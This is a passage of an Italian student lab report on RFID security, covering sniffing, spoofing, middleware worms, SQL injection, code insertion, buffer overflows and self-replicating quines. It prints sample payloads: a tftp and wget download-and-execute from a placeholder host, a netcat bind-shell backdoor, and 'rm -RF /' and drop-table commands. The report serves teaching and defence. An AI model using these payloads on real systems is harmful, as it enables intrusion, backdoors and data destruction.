Vulnerabilità e prevenzione nei sistemi RFID

Transcript

Vulnerabilità e prevenzione nei sistemi RFID
Vulnerabilità e prevenzione nei sistemi RFID
Vulnerabilità e prevenzione
nei sistemi RFID
di
Federico Barboni
0000324080
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Abstract:
In questa relazione tratteremo delle vulnerabilità e delle possibili minacce che affliggono gli
RFID, partendo con una breve panoramica sugli RFID Sniffer e sulle loro potenzialità di
immagazzinamento di tags provenienti da carte di credito, passaporti e qualsiasi oggetto
contentente Tags RFID. Vedremo poi come sia possibile riscrivere questi tags con del
codice maligno e di come vengano compromesse le strutture middleware a seconda che
si tratti di un exploit, worm, o di un virus; in questa parte inoltre analizzeremo un esempio
concreto su come possa essere compromesso un database di un negozio attraverso un
virus autoreplicante.
Concluderemo la ricerca con delle contromisure valide per prevenire possibili attacchi
RFID alle strutture middleware e come prevenire lo sniffing delle nostre carte di credito
attraverso la costruzione fai-da-te di un portafogli schermato.
Claim:
Dai documenti personali agli oggetti quotidiani, dal cibo alle persone fisiche, i chip RFID
stanno entrando in modo pervasivo nella nostra quotidianità e il rischio di clonazione e
modifica dei tag a scopi maligni è una minaccia reale. Credo quindi sia utile conoscere
delle contromisure valide per fronteggiare possibili problemi di questo genere e come
prevenire la diffusione di minaccie allʼinterno di un sistema RFID.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Indice:
Introduzione
1. Perchè lʼRFID è vulnerabile?
1.1 Principali minacce dellʼRFID
2. Gli RFID Sniffer
3. Le architetture middleware e le possibili minacce
4. Worms dellʼ RFID
5. Possibili exploits tramite RFID
5.1 Sql Injection
5.2 Buffer overflow
5.3 Code insertion
5.4 Payolads
6. Virus dellʼ RFID
6.1 Quines: il codice auto-replicante
6.2 Virus RFID polimorfici
7. E se fosse una grande distribuzione ad essere attaccata...
7.1 ...da un virus auto-replicante?
8. Contromisure dal lato middleware
9. Conclusioni
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Introduzione
In termini generali, un sistema RFID è costituito da un dispositivo (tag o transponder) in
cui sono memorizzate informazioni relative ad un oggetto (cui è applicato) che
possono essere lette ed eventualmente riscritte da strumenti dedicati (detti lettori o
ricevitori) per mezzo di radiocomunicazioni a distanza, e dunque senza necessità non
solo di contatto fisico, ma anche (almeno in teoria) di visibilità diretta fra i dispositivi.
Lʼaccesso ad informazioni a distanza facilita evidentemente lʼautomatizzazione di una
vasta serie di operazioni, con conseguente riduzione di costi e tempi ed aumento di
efficienza e qualità.
L'RFID, a differenza dei Codici a Barre e delle Bande magnetiche:
• Non deve essere vicino per essere letto come le bande magnetiche
• Non deve essere visibile per essere letto come per i codici a barre
• Può anche aggiungere informazioni sui chip in funzione della tipologia del Chip (Read
Only, Read Once, Read and Write)
• Ha un tempo per l'identificazione e la verifica di 10/100 di secondo
Quindi la maggior capacità di identificazione via wireless dellʼ RFID, in sostituzione ai
comuni codici a barre, ci porta a pensare a una vera e propria rivoluzione nel nostro modo
di vivere le nostre esperienze commerciali, industriali e mediche. I pagamenti al
supermercato o nelle autostrade, il tracciamento di animali in via di estinsione o portatori di
malattie, i badge in certi uffici, sono solo alcuni esempi dei campi in cui lʼRFID viene
utilizzato.
Ma come tutte le innovazioni
tecnologiche, anche lʼRFID ha il suo
lato oscuro e le sue vulnerabilità, quindi
andremo ad analizzare meglio questi
aspetti partendo dal perchè lʼRFID
potrebbe essere soggetto ad attacchi
malevoli fino a vedere qualche tipo di
attacco possibile su questi chip.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
1.Perchè lʼRFID è vulnerabile?
Il desiderio di vedere questa tecnologia al massimo del suo splendore ha offuscato un pò il
pensiero che possano svilupparsi virus per lʼRFID. Inoltre, gli exploits dellʼRfid non sono
ancora conosciuti palesemente, quindi le persone immaginano che ogni installazione o
applicazione dellʼ Rfid non sia vulnerabile a possibili attacchi.
Sfortunatamente questo punto di vista è solamente un utopia molto lontana; le
implementazioni dellʼ RFID hanno svariate caratteristiche che fanno si che questa sia
lʼennesima possibile candidata ad essere sfruttata dai malware.
Alcune peculiarità che ci possono far riflettere sono:
I.
Mole notevole di codice sorgente: i tags rfid hanno dei vincoli ferrei che limitano
intrinsecamente la loro complessità stessa, ma nel back-end dei sistemi middleware
Rfid ci potrebbero essere migliaia se non milioni di righe di codice sorgente. Se
pensiamo che i bug presenti in un software in media sono tra i 6 e i 16 ogni 1000
linee di codice, nelle strutture middleware dellʼRfid è come se avessimo una mole
infinita di falle sfruttabili. Al contrario, in un sistema middleware di dimensioni minori
si possono avere meno linee di codice ma, nella maggior parte dei casi, potrebbe
soffrire di un insufficente testing e quindi della possibilità di essere vulnerabile;
II.
Protocolli e infrastrutture comuni: Basandosi sulle infrastrutture Internet, lʼRFID è
una soluzione scalabile, e a basso costo anche per lo sviluppo di sistemi middleware
RFID. Il problema è che, adottando i protocolli Internet, lʼRFID viene affiancato anche
dal problema della sicurezza dei protocolli e delle loro vulnerabilità note;
III. Database dei tags: Lʼessenza dellʼRFID è la raccolta di dati automatizzata, quindi i
dati dei tags devono essere collezionati in database i quali poi dovranno rispondere a
query di svariate entità a seconda dello uso che ne verrà fatto. I databases sono una
delle parti a rischio dellʼRFID, anche se la buona notizia è che i tradizionali fornitori di
database come SAP e Oracle, si sono messi al lavoro con lo sviluppo commerciale di
middleware RFID. La cattiva notizia è che i database sono comunque suscettibili a
possibili violazioni della sicurezza. Peggio ancora, essi hanno delle loro proprie classi
di attacchi ben determinate come, da non sottovalutare, lʼSql Injection,;
IV. I tags contengono dati interessanti:I sistemi RFID sono un target goloso per il
criminali informatici. I dati possono contenere informazioni personali o finanziarie, e
questo è sempre un punto importante in termini di sicurezza (ad esempio la
protezione dei dati dei passaporti digitali). Nel caso lʼRFID venisse colpito da un
malware, potrebbero verificarsi molti più danni di quanti ne potrebbe fare lo stesso su
un normale PC, perchè un malware per RFID ha un vero mondo a parte e oltre al
rischio di danneggiare i back-end dei sistemi informatici, potrebbe compromettere
qualsiasi oggetto contrassegnato nel mondo reale.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
V.
Sicurezza apparente: La maggior parte degli attacchi hacker colpisce bersagli facili
e i sistemi Rfid come abbiamo detto, possono essere abbastanza vulnerabili perchè
nessuno si aspetterebbe un malware RFID, specie se si parla di un sistema non
connesso alla rete. Gli sviluppatori di sistemi di comunicazione RFID devono mettere
in conto di dover prendere delle misure di sicurezza per proteggere i propri sistemi, e
più avanti vedremo quali contromisure potrebbero essere prese per evitare possibili
attacchi malevoli;
1.1 Principali minacce dellʼ RFID
Come abbiamo annunciato fino a poco fa, questa “utopia” della computazione pervasiva
ha il suo lato oscuro. LʼRFID, automatizzando le collezioni di informazioni relative a
individui, luoghi o azioni, potrebbe essere soggetto ad abusi da parte di hacker , industriali
e perchè no, dal governo. Ci sono 5 minaccie fondamentali che minano la sicurezza
dellʼRFID e sono:
1. Sniffing: I tags RFID sono progettati per essere letti da qualsiasi dispositivo
compatibile per la lettura di questi. La lettura dei tags quindi può avvenire in qualsiasi
momento e anche da distanze abbastanza notevoli, senza avvisare (naturalmente) il
possessore dei tag;
2. Tracking: Se supponiamo di posizionare dei lettori di Rfid in posizioni strategiche,
potremmo registrare qualsiasi passaggio di tag unici e identificativi (oppure,
“costellazioni” di tags identificativi non-unici) ai quali troviamo associate le identità
personali e quindi, potremmo tracciare gli spostamenti di un individuo. Quindi il
problema sorge quando un individuo viene tracciato involontariamente dal RFID (come
i lavoratori aziendali ad esempio) ma ciò dovrebbe essere sempre noto ai soggetti
stessi, anche se nella maggior parte dei casi non lo è affatto;
3. Spoofing: Gli hackers attaccanti, seguendo la formattazione propria dei dati nellʼRFID,
potrebbero creare degli autentici tag RFID, scrivendo i dati dei tag allʼinterno di
trasponders vergini o riscrivibili. Un noto attacco di spoofing venne fatto in passato dai
ricercatori della Johns Hopkins University, dove clonarono un trasponder RFID protetto
da chiave RSA, utilizzando un identificativo sniffato (e decriptato successivamente), il
quale poi utilizzarono per comperare della benzina e per disattivare il sistema Rfid di
antifurto di unʼauto [BGSJRS05];
4. Replay attacks: Gli attaccanti possono intercettare e ritrasmettere queries RFID
utilizzando dei semplici trasmettitori RFID. Questi trasmettitori possono ingannare i
lettori RFID, i sistemi di pagamento “contactless” e i dispositivi di controllo per
lʼaccesso a strutture o aziende. Ma fortunatamente, lʼimplementazione di protocolli di
autenticazione fra i tags RFID e i sistemi di back-end, migliora notevolmente
lʼaffidabilità e la sicurezza di questi;
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
5. Denial of service: Il Denial of Service (DoS) avviene quando viene impedito ai sistemi
RFID di funzionare correttamente. La lettura dei tags infatti potrebbe essere ostacolata
o da una gabbia di Faraday (Con gabbia di Faraday si intende qualunque sistema
costituito da un contenitore in materiale elettricamente conduttore (o conduttore cavo)
in grado di isolare l'ambiente interno da un qualunque campo elettrostatico presente al
suo esterno, per quanto intenso questo possa essere) o da un disturbo al segnale di
trasmissione, in entrambi i casi il risultato è che le onde trasmesse dai sistemi non
raggiungono gli oggetti aventi tags RFID. Il DoS potrebbe risultare un problema
disastroso in certe situazioni, come nel caso in cui si debbano leggere informazioni
mediche dai chip RFID sottocutanei, ovvero dai chip VeriMed™, che permettono una
conoscenza istantanea della situazione del paziente.
Questa lista di categorie che abbiamo appena visto, rappresenta lo stato corrente della
“conoscenza comune” riguardo i malware della sicurezza e della privacy nei sistemi RFID.
Abbiamo visto come può avvenire un uso improprio dei dati RFID ai livelli più alti di questi
sistemi, ora cercheremo di introdurre altri malware dellʼRFID andando più in profondità,
sottolineando come si possa abusare dei dati di Tags RFID formattati in modo improprio.
2.Gli RFID Sniffer
Gli sniffer sono dei semplici circuiti analogici che possono rilevare la presenza di tag RFID
a frequenze di 13.56 Mhz. Possono essere
solamente Reader o anche Reader/Writer
a seconda dellʼimplementazione del
circuito. Sono dotati solitamente di una
piccola memoria per immagazzinare i tags
letti e sono alimentati a batteria.
Marc Boon, ricercatore informatico
indipendente, ha sviluppato recentemente
un paio di soluzioni al riguardo,
implementando un RFID sniffer avente
solo la funzione di Reader, e una RFIDuino shield, sviluppata appositamente per schede
“Arduino”, che permette di avere una periferica Reader/Writer di tags RFID. Le schede
“Arduino”, sono concepite appositamente per la scrittura di dati su qualsiasi oggetto
contenente chip RFID.
Non avendo sufficienti conoscenze riguardo il lato elettronico e la componentistica, vi
rimando direttamente al suo sito http://marcboon.com per eventuali delucidazioni a
proposito.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
3. Le architetture middleware e le
possibili minacce
Ora osserveremo più da vicino i principi delle minacce dellʼRFID, presentando i
meccanismi virali e i payloads che possono compromettere dei tipici sistemi con un
architettura RFID.
Innanzi tutto, una struttura middleware, che si trova al centro del sistema RFID, riceve gli
eventi dai lettori RFID ogni qualvolta un tag venga letto. Questi eventi vengono processati
da diversi filtri. Quando è completamente filtrato, l'evento è pronto per essere valutato e
uno dei componenti memorizza l'evento in un database per i processi futuri. I lettori RFID
sono connessi al middleware attraverso i driver (o moduli). Questa modularità consente al
middleware di supportare diversi device senza dover apportare modifiche al sistema. Il
middleware comprende anche un interfaccia utente, nata fondamentalmente per la
gestione del sistema. Ma con il tempo sono state implementate anche ulteriori interfacce,
che non consentono la gestione: ad esempio in un supermarket viene usata un interfaccia
che permette ai clienti di monitorare la propria spesa.
Inoltre il middleware consente l'interconnessione con altri software di gestione per
estendere ed automatizzare la gestione dei prodotti.
Sapendo che vengono utilizzati una vasta quantità di RFID readers, gateways, interfacce
di gestione e databases, consideriamo per il nostro caso un architettura che abbia un
Reader collegato a una computer avente unʼinterfaccia di gestione, la quale a sua volta sia
collegata tramite protocollo HTTP a più databases (MySQL, Postgres, Oracle, o SQL
Server).
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Principalmente esistono tre tipi di malware RFID che ora vedremo in modo generale ma
che poi riprenderemo in seguito più approfonditamente con degli esempi concreti: i
Worms, gli Exploits e i Virus.
I Worms possiamo considerarli come un programma che si auto propaga allʼinterno di una
rete, creando problemi di sicurezza nei servizi ampiamente utilizzati. Un Worm si distingue
da un Virus per il fatto che esso non richiede nessun tipo di attività da parte dellʼutente per
propagarsi. Un Worm solitamente ha un payload che svolge compiti come la cancellazione
di file, lʼinvio di informazioni via mail o lʼinstallazione di patch per software. Uno dei più
comuni payloads per un worm è lʼinstallazione di una “backdoor” nel computer infetto, che
rende così più semplice lʼaccesso di un hacker allʼelaboratore in un eventuale secondo
momento.
Un worm per RFID si propaga sfruttando i difetti di sicurezza dei servizi on-line dellʼRFID e
non necessita di nessun azione da parte dellʼutente per propagarsi (come potrebbe essere
il passaggio di un RFID davanti uno scanner), anzi, si potrebbe diffondere autonomamente
anche via tag RFID se dovesse capitare!
I Tag RFID possono “exploitare” direttamente il back-end di un sistema middleware.
Se vorremmo essere un pò più scettici potremmo chiederci: “ Ma se i tags RFID hanno
risorse limitatissime tanto da non poter proteggere neanche se stessi, come possono
lanciare un attacco??”. La verità purtroppo è che la cosa risulta più facile di quanto
possano essere rilevanti le risorse a disposizione; manipolare meno di 1kb di dati in un
Tag RFID può sfruttare falle nella sicurezza dei sistemi middleware RFID, annullando la
loro funzione e probabilmente compromettendo o il computer o lʼintero network.
Il punto sta nel fatto che quando un RFID reader legge un tag, esso si aspetta di ricevere
le informazioni in un determinato formato. Tuttavia, un utente malintenzionato potrebbe
scrivere i dati su un tag RFID in un modo talmente scrupoloso da mandare in crisi il
software del reader presente nel back-end. Gli Exploits del RFID mirano a specifici
componenti del sistema, come databases o interfacce web, utilizzando una serie di
“strumenti di hacking” che includono attacchi di tipo buffer overflow, code insertion e SQL
injection. Questi tipi di attacchi possono essere fatti utilizzando tags RFID a costi
bassissimi, come le smart card contactless o altre risorse contenenti tag RFID.
La cosa fondamentale è che più spazio si ha a disposizione e più si possono realizzare
attacchi complessi.
Mentre i worms RFID si avvalgono della presenza di una connessione di rete, un Virus
RFID auto-replicante è completamente auto sufficiente; basta un tag RFID infettato per
scatenare un attacco virale. Alcuni esempi che possano dare lʼidea di come un virus possa
lanciare un attacco virale sono:
• Un utente malizioso crea un tag RFID con un virus e lo inietta in un cane o
semplicemente lo attacca sul collare di questo. Ora basta solamente andare da un
veterinario e annunciare in modo convincente di aver trovato un cane abbandonato e se
potessero controllare i suoi dati tramite lo scan del chip. Bingo, il database è infettato, e
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
finchè il veterinario userà questo database per creare tags RFID per i nuovi animali
trovati, tutti questi nuovi tags saranno infettati. Quando poi questi verranno passati al
lettore per qualsiasi ragione, il database verrà infettato ancora e via dicendo.
Diversamente dai virus biologici che saltano da un animale allʼaltro, un virus RFID passa
dallʼanimale al database a un altro animale per replicarsi;
• Come sappiamo, molti aeroporti nel sistema di gestione dei bagagli utilizzano i tag RFID
nelle etichette che vengono poste sul bagaglio. Ora, consideriamo un utente malizioso
che mette un tag RFID infettato sulla sua valigia e la passa al check-in. Quando il lettore
RFID, del sistema di gestione dei bagagli, verifica la valigia in prossimità delle giunzioni
a Y che decidono il percorso della valigia a seconda della destinazione, il tag risponde
con un virus che infetta tutto il database dei bagagli. Di conseguenza quindi, tutte le
valigie che passeranno sotto lo scan verranno infettate e a loro volta tutte le valigie
infettate che passeranno in altri hub infetteranno altri database, e in pochi giorni
potremmo avere una bona quantità di aeroporti in crisi.
Finchè si tratta di infettare altri tags il problema è quasi benigno, ma utilizzando payloads
che possano compromettere un database, si potrebbe anche ipotizzare un passaggio di
bagagli non autorizzato sotto gli occhi delle forze dellʼordine, senza che nessuno se ne
accorga.
4.Worms dellʼ RFID
Il processo di infezione da parte di un worm dellʼ RFID comincia quando lʼhacker, per
prima cosa, scopre la natura dei server RFID nelle strutture middleware infettabili tramite
la rete. Lʼattaccante potrebbe utilizzare exploits comuni basati sui protocolli di rete per
entrare allʼinterno dei server, una sorta di “meccanismi vettoriali” per trasmettere se stessi
allʼinterno del target prestabilito. Un esempio è lʼattacco contro i server dellʼ EPCglobalʼs
Object Naming Service (ONS), i quali sono suscettibili a molti attacchi al DNS abbastanza
comuni [FGS05]. Comunque questi attacchi possono essere automatizzati attraverso vari
meccanismi di propagazione che caratterizzano un worm dellʼRFID.
Un worm dellʼRFID può inoltre propagarsi anche via tags: se ad esempio avessimo una
struttura middleware infetta da un worm, questa potrebbe infettare tutti i tags RFID
sovrascrivendo i loro dati con un tag compromesso. Questo exploit porta i server delle
strutture middleware a scaricare ed eseguire un file malevolo direttamente da un computer
remoto. Questo file praticamente infetta i server della struttura middleware allo stesso
modo di come potrebbe agire un malware per computer, ovvero lanciando una nuova
istanza del worm.
Questo che leggiamo qua sotto è un esempio di un payload di un worm RFID basato su
un SQL injection, la quale compromette un possibile Microsoft SQL Server:
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
; EXEC Master..xp cmdshell ’tftp -i %ip% GET myexploit.exe & myexploit’ -Questo payload porta il server SQL a eseguire un comando di sistema che usa tftp (se
abbiamo Windows) per scaricare e eseguire malware remoti. In modo abbastanza simile, il
payload del worm web-based dellʼRFID che troviamo qua sotto, sfrutta lʼinterfaccia di
gestione dellʼRFID per auto-replicarsi attraverso gli scripting del lato server:
< !--#exec cmd=’’wget http://%ip%/myexploit -O /tmp/myexploit; chmod +x /tmp/
myexploit; /tmp/myexploit’’ -->
I buffer overflows dellʼ RFID, che vedremo meglio nel paragrafo seguente, potrebbero
avere comportamenti simili a un worm, cioè possono fare leva sul codice trasmesso via
shell per scaricare ed eseguire un malware da una location remota.
5.Possibili exploits tramite RFID
In quanti modi possiamo sfruttare a nostro favore i sistemi middleware attraverso un
malware per RFID? Come abbiamo annunciato precedentemente, abbiamo tre tipi di
exploit interessanti da analizzare: SQL Injection, Code Insertion e Buffer Overflow.
5.1 Sql Injection
LʼSql Injection è uno fra i più tradizionali degli attacchi hacker e consiste nel passare a un
database del codice SQL che non era destinato a lui. Un attacker usa lʼSQL Injection
perchè ha diversi obbiettivi da raggiungere con questo: per prima cosa, egli vorrà
“enumerare” (o meglio mappare) tutta la struttura del database, poi successivamente vorrà
poter prendere, modificare o persino cancellare dei dati ovviamente non autorizzati.
Il limite di spazio per i dati, che caratterizza i tag RFID, non è necessariamente un
problema se parlamo di attacchi di tipo SQL Injection, perchè è possibile fare
tranquillamente molti danni con poche linee di codice SQL. Ad esempio, se passassimo il
seguente comando:
;shutdown-verrà interrotta lʼistanza del server SQL utilizzando solamente un input di 12 caratteri!
Un altro comando abbastanza fastidioso è:
drop table <tablename>; --
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
che cancellerà la specifica tabella di un database. Molti database inoltre supportano i
costrutti IF/THEN, che potrebbero distruggere un database ad un tempo prestabilito o
semplicemente permettere a un virus di propagarsi in altri databases. Gli exploit per RFID
eventualmente possono “rubare” dati da un database copiandoli sul tag RFID usando una
query embedded di tipo SELECT.
I databases a volte permettono agli amministratori, di eseguire comandi di sistema: ad
esempio, Microsoft SQL Server esegue comandi utilizzando le procedure memorizzate
dellʼ “xp_cmdshell”; un attacker potrebbe utilizzare queste procedure per compromettere
lʼintero sistema di un computer, inviando tramite mail il file con le password oscurate del
sistema. Solo con un semplice attacco standard di SQL Injection, e se il database gira
come Administrator, un tag RFID infetto potrebbe compromettere un intera macchina o
addirittura un intera rete!
5.2 Code Insertion
Oltre al target dei databases, i malware dellʼRFID possono avere come ulteriore target i
componenti web-based, come le interfacce di gestione remota o i front-end dei database
web-based (come OracleiSQL*Plus).
Il codice maligno può essere iniettato dallʼattacker allʼinterno di un applicazione utilizzando
un qualsiasi numero di linguaggi di scripting tra cui VBScript, CGI, Java, Javascript, PHP,
e Perl. Cross-Site Scripting (XSS) è un comune code insertion e un segnale spia che
potrebbe farci pensare alla presenza di un possibile attacco, potrebbe essere la presenza
di speciali caratteri nei dati in input:
<
>
“
‘
%
;
)
(
&
+
-
Per eseguire un attacco di tipo code insertion un hacker solitamente per prima cosa
instaura degli URLs malevoli, seguito da un esauriente sforzo di “social engineering” per
convincere lʼutente a cliccare su quellʼURL; una volta caduto nella trappola, gli script
preparati partiranno con vari attacchi, dal furto del cookie della sessione al “Session
Hijacking”, per sfruttare anche le vulnerabilità del browser nel tentativo di compromettere
lʼintero sistema.
I tag RFID contenenti dati scritti in un linguaggio di scripting possono eseguire Code
Insertion attacks nei back-end dei sistemi middleware degli RFID: se un applicazione RFID
usa un protocollo web per fare query nel database di back-end (come fa lʼEPCglobal ad
esempio), cʼè la possibilità che il client middleware RFID possa interpretare il linguaggio
dello script, e se dovesse accadere veramente tutto questo, la struttura middleware
potrebbe esere suscettibile agli stessi problemi di Code Insertion che hanno i browser
web.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Gli script che sfruttano le vulnerabilità Client-side generalmente hanno conseguenze
limitate, perchè i browser web (fortunatamente :) ) hanno un accesso limitato allʼhost
stesso. In ogni caso, un exploit in Javascript per RFID potrebbe compromettere un
elaboratore reindirizzando il browser del client a una pagina contenente codice maligno,
come ad esempio un immagine contenente la location del malware:
document.location=’http://%ip%/exploit.wmf
Questo sopra, sfruttando il bug dei Windows Meta Files, fa credere al sistema di caricare
un immagine vettoriale mentre lʼimmagine non verrà aperta, ma il codice maligno al suo
interno verrà eseguito.
Dʼaltro canto, il Server-side scripting ha evidenti conseguenze di ampia portata; può
eseguire payloads con i permessi del web server, ad esempio Server-Side Includes (SSIs)
potrebbe eseguire comandi di sistema come:
< !--#exec cmd=‘ ‘ rm -RF /‘ ‘ -->
Questi tipi di payloads possono essere attivati quando vengono visti da client web (ad
esempio un interfaccia di gestione del WWW).
5.3 Buffer Overflows
I buffer overflows sono tra le più comuni risorse di vulnerabilità della sicurezza di un
software: presenti sia nei vecchi che nuovi software, i buffer overflows vengo a costare alle
moderne industrie software migliaia di euro lʼanno. I buffer overflows sono una pietra
miliare degli attacchi hacker storici, come i worms Code Red del 2001 e lʼSQL Slammer
del 2003, e di solito sorgono in conseguenza ad un uso improprio dei linguaggi come C o
C++ i quali non sono “memory-safe”.
La vita di un buffer overflow inizia quando un attacker passa dati in input direttamente (per
esempio tramite input dellʼutente) o indirettamente (tramite variabili dʼambiente). Questi
dati in input sono deliberatamente più lunghi rispetto allo spazio allocato al buffer
allʼinterno della memoria, quindi i dati sovrascriveranno qualsiasi cosa fosse accaduta
allʼinterno di quello spazio. Le funzioni che ritornano gli indirizzi dei dati in memoria di
solito sono locati in aree della memoria adiacenti ai data buffers: quando una funzione che
ritorna un indirizzo viene sovrascritta, il programma va ad un indirizzo sbagliato che gli
viene ritornato dal buffer, quindi un attacker può richedere dati che ritornino gli indirizzi dei
dati che hanno creato lʼoverflow per prima cosa, più eseguono questo codice ricevuto.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
5.4 Payloads
I buffer overflows nellʼRFID possono fare injection di payloads su una notevole varietà di
piattaforme dipendenti da comandi eseguiti tramite shell. Escluso il comando più banale
che potrebbe essere rm (remove), un comando passato tramite buffer overflow come
netcat può essere utilizzato per creare backdoors: netcat praticamente rimane in ascolto
su una porta TCP e stampa tutti i dati che vengono ricevuti, questi in seguito possono
essere passati ad una istanza della shell, la quale esegue i comandi, come ad esempio:
netcat -lp1234|sh
Cʼè un utility di sistema molto interessante chiamata screen: questa crea un istanza della
shell e la isola dal terminale, facendola girare come un processo demone. Combinando
questo con un pò di abilità nei comandi da eseguire da remoto sulla shell, un attacker
potrebbe costruire un backdoor molto più avanzato, tipo questo:
screen -dms t bash -c’ ‘ while [ true ]; do netcat -lp1234|sh;done’ ’
Questo comando crea un loop infinito, che permette allʼattacker di connettersi alla
backdoor ogni qualvolta lo voglia.
Un altra utility sfruttabile è il wget, che scarica file direttamente da un web server o tftp
(trivial ftp), che è contenuto di default nelle installazioni di Windows, in System32, il quale
permette la connessione a servers ftp per upload e download di dati: questa utility può
essere usata come leva per scaricare ed eseguire poi programmi scritti da un probabile
attacker, tipo:
wget http://ip/myExploit -O /tmp/myExploit;
chmod +x /tmp/myExploit; /tmp/myExploit
6.Virus dellʼ RFID
Come abbiamo annunciato prima, un Virus RFID è una variante del RFID Worm
che non necessita di una connessione di rete ma sfruttando un qualsiasi exploit,
può comandare alla struttura middleware di sovrascrivere altri tags RFID; il programma
maligno codificato allʼinterno di un tag diviene attivo solamente quando viene letto da un
reader che passa i dati a un database o a una struttura middleware di un sistema
informatico. Se il sistema viene implementato in modo effimero, il Virus probabilmente
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
avrà maggior possibilità di successo grazie alle debolezze del software interno alle
strutture middleware, e potrà quindi replicarsi allʼinterno di altri tags. Questo punto ci
dovrebbe un pò far riflettere sulla differenza fra i tag RFID e i tag delle tecnologie AIDC
(Automatic Identification and Data Capture) come i codici a barre: questi ultimi, una volta
scritti, non possono essere cambiati perchè non contengono (a differenza degli RFID)una
memoria modificabile.
6.1 Quines: il codice auto-replicante
Un metodo alternativo che può essere sfruttato da un Virus auto-replicante è lʼutilizzo di un
quine SQL.Un quine è un programma che riscrive il suo stesso codice sorgente: Douglas
R. Hofstadter coniò il termine “quine” in un suo libro “Godel, Escher, Bach”,[HOF79] in
onore di Willard van Orman Quine, che fu il primo ad introdurre questo concetto.
Vengono applicati diversi principi base quando si cerca di scrivere un codice autoreplicante, il più importante è che un quine è formato principalmente da una porzione di
codice e una porzione di dati: la parte dei dati è rappresentata da una forma testuale del
quine, il codice utilizzerà poi questi dati per stampare altro codice, e poi userà i dati per
stampare altri dati. Hofstadter chiarisce questo concetto un pò astratto facendo
unʼanalogia con le cellule biologiche: “...il codice di un quine è come una cellula, e i dati
come fossero il DNA delle cellule: il DNA contiene tutte le informazioni necessarie per la
replicazione delle cellule, dʼaltronde, quando una cellula usa il DNA per creare una nuova
cellula, ella replica allo stesso tempo il DNA.
Ora che abbiamo introdotto questo concetto possiamo vedere un esempio di un quine
scritto in SQL che riproduce solamente se stesso senza fare niente di maligno.
SELECT substr(source,1,93) || chr(39) || source || chr(39) || substr(source,94)
FROM (SELECT ’SELECT substr(source,1,93) || chr(39) || source || chr(39) ||
substr(source,94) FROM (SELECT ::text as source) q;’::text as source) q;
6.2 Virus RFID polimorfici
Un virus polimorfico è un virus che cambia la sua firma binaria ogni volta che replica se
stesso, sfuggendo così ai controlli dei programmi antivirus.
Possono essere utilizzati “multiquines” per creare virus RFID polimorfici: un multiquines è
un set di programmi che stampano il proprio codice sorgente, apparte il caso in cui
vengano dati particolari inputs, portando il programma a stampare il codice di un altro
programma nel set[MAD09]. I multiquines lavorano utilizzando degli introns: lʼintron del
primo programma rappresenta il codice del secondo programma, e lʼintron del secondo
programma rappresenta il codice del primo programma.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
I Multiquines polimorfici funzionano allo stesso modo: quando al virus viene passato un
parametro particolare, egli produce una rapprensentazione del secondo virus, e vice
versa. Il parametro variabile potrebbe essere il timestamp, o qualsiasi altroparametro del
database di back-end dellʼRFID che sta per essere attaccato.
Per rendere il Virus completamente intracciabile ai controlli antivirali, la criptazione è
lʼunica soluzione per oscurare la porzione di codice del virus RFID. Abbastanza rilevante è
stato David Madore che dimostrò questa possibilità scrivendo un quine in C che conteneva
il proprio codice, cifrato con lʼalgoritmo di crittografia blowfish, nei suoi dati [MAD09]:
sfortunatamente per lui però, il quine creato era sufficientemente grosso da non entrare in
una normale contactless smart card. Dimensioni a parte, questo secondo me è un ottimo
esempio di cosa possa essere fatto utilizzando una buona dose di cervello e un codice
totalmente auto-replicante!
Qui sotto riporto una tabella interessante che riporta in modo sommario gli attacchi
possibili in base ai diversi tipi di database.
7. E se fosse una grande distribuzione ad essere
attaccata...
Immaginiamoci ora uno scenario di una grande distribuzione, come potrebbe essere un
Mediaworld o la Coop, se venisse attaccata attraverso lʼRFID: le grandi distribuzioni
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
gestiscono le loro merci servendosi di software di Enterprise Resource Planning e Data
Warehousing, e pongono dei tags RFID sui containers delle merci. In questo modo
l'indicizzazione della merce e' veloce ed efficiente. Il tipico flow di operazioni di questo
sistema è il seguente: un gruppo di container contengono una determinata linea di prodotti
(nel caso di un Mediaworld potrebbero essere periferiche per computer, in una Coop
potrebbe essere la frutta fresca)e passano sotto un reader RFID prima di arrivare al centro
di distribuzione. Il reader identifica e mostra i numeri seriali dei prodotti e reindirizza
queste informazioni nel database principale del distributore. I container vengono poi
svuotati, puliti e riempiti nuovamente con lo stesso prodotto o con uno differente e
verranno poi ripassati sotto un reader che aggiornerà il contenuto del container (ossia i
nuovi tag RFID) per riflettere il nuovo contenuto; una volta riempito il container viene
spedito alle distribuzioni locali.
Lʼarchitettura middleware di questi sistemi RFID non è molto complicata: questi sistemi
hanno molti reader RFID in front-end e solamente un database nel back-end, i tags su i
container sono read/write e i loro dati sono la descrizione del carico stivato allʼinterno del
container stesso. Il database di back-end oltre alle info su i prodotti nei container,
conservano anche le informazioni su i container in arrivo e in partenza dal magazzino.
Ipotizziamo ora che il database di back-end contenga una tabella chiamata
NuovoContenutoContainer: questa tabella lista praticamente i carichi contenuti nei
